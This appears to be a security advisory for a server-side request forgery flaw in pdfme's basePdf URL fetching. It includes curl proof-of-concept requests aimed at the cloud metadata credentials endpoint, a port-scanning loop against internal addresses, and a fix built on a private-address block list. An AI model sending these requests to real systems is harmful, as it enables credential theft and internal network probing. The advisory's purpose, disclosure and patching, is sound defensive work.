PDFME has SSRF via Unvalidated URL Fetch in `getB64BasePdf` When `basePdf` Is Attacker-Controlled

// packages/common/src/helper.ts:130-141
export const getB64BasePdf = async (
  customPdf: ArrayBuffer | Uint8Array | string,
): Promise<string> => {
  if (
    typeof customPdf === 'string' &&
    !customPdf.startsWith('data:application/pdf;') &&
    typeof window !== 'undefined'
  ) {
    const response = await fetch(customPdf);  // <-- No URL validation
    const blob = await response.blob();
    return blob2Base64Pdf(blob);
  }
  // ...
};

export const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]);
export const BasePdf = z.union([CustomPdf, BlankPdf]);

// server.js — Next.js API route or Express handler using pdfme
import { generate } from '@pdfme/generator';

export async function POST(req) {
  const { template, inputs } = await req.json();
  // Application accepts user-provided templates
  const pdf = await generate({ template, inputs, plugins: {} });
  return new Response(pdf);
}

# Attacker sends a template with basePdf pointing to an internal service
curl -X POST http://target-app.com/api/generate-pdf \
  -H 'Content-Type: application/json' \
  -d '{
    "template": {
      "basePdf": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
      "schemas": [[]]
    },
    "inputs": [{}]
  }'

# Scan internal hosts by observing response timing differences
for port in 80 443 3306 5432 6379 8080; do
  curl -s -o /dev/null -w "%{time_total}" -X POST http://target-app.com/api/generate-pdf \
    -H 'Content-Type: application/json' \
    -d "{
      \"template\": {
        \"basePdf\": \"http://10.0.0.1:${port}/\",
        \"schemas\": [[]]
      },
      \"inputs\": [{}]
    }"
  echo " - port $port"
done

# In SSR context, fetch reads the full response body and converts to base64
curl -X POST http://target-app.com/api/generate-pdf \
  -H 'Content-Type: application/json' \
  -d '{
    "template": {
      "basePdf": "http://169.254.169.254/latest/meta-data/",
      "schemas": [[]]
    },
    "inputs": [{}]
  }'
# The fetch will succeed; the response will fail PDF parsing,
# but error messages or timing differences leak information

// packages/common/src/helper.ts

const BLOCKED_HOSTNAME_PATTERNS = [
  /^localhost$/i,
  /^127\./,
  /^10\./,
  /^172\.(1[6-9]|2\d|3[01])\./,
  /^192\.168\./,
  /^169\.254\./,
  /^0\./,
  /^\[::1\]/,
  /^\[fc/i,
  /^\[fd/i,
  /^\[fe80:/i,
];

function validatePdfUrl(urlString: string): void {
  let parsed: URL;
  try {
    parsed = new URL(urlString);
  } catch {
    throw new Error(`Invalid basePdf URL: ${urlString}`);
  }

  if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {
    throw new Error(`basePdf URL must use http or https protocol, got: ${parsed.protocol}`);
  }

  const hostname = parsed.hostname;
  for (const pattern of BLOCKED_HOSTNAME_PATTERNS) {
    if (pattern.test(hostname)) {
      throw new Error(`basePdf URL must not point to private/reserved addresses`);
    }
  }
}

export const getB64BasePdf = async (
  customPdf: ArrayBuffer | Uint8Array | string,
): Promise<string> => {
  if (
    typeof customPdf === 'string' &&
    !customPdf.startsWith('data:application/pdf;') &&
    typeof window !== 'undefined'
  ) {
    validatePdfUrl(customPdf);  // <-- Add validation before fetch
    const response = await fetch(customPdf);
    const blob = await response.blob();
    return blob2Base64Pdf(blob);
  }
  // ...
};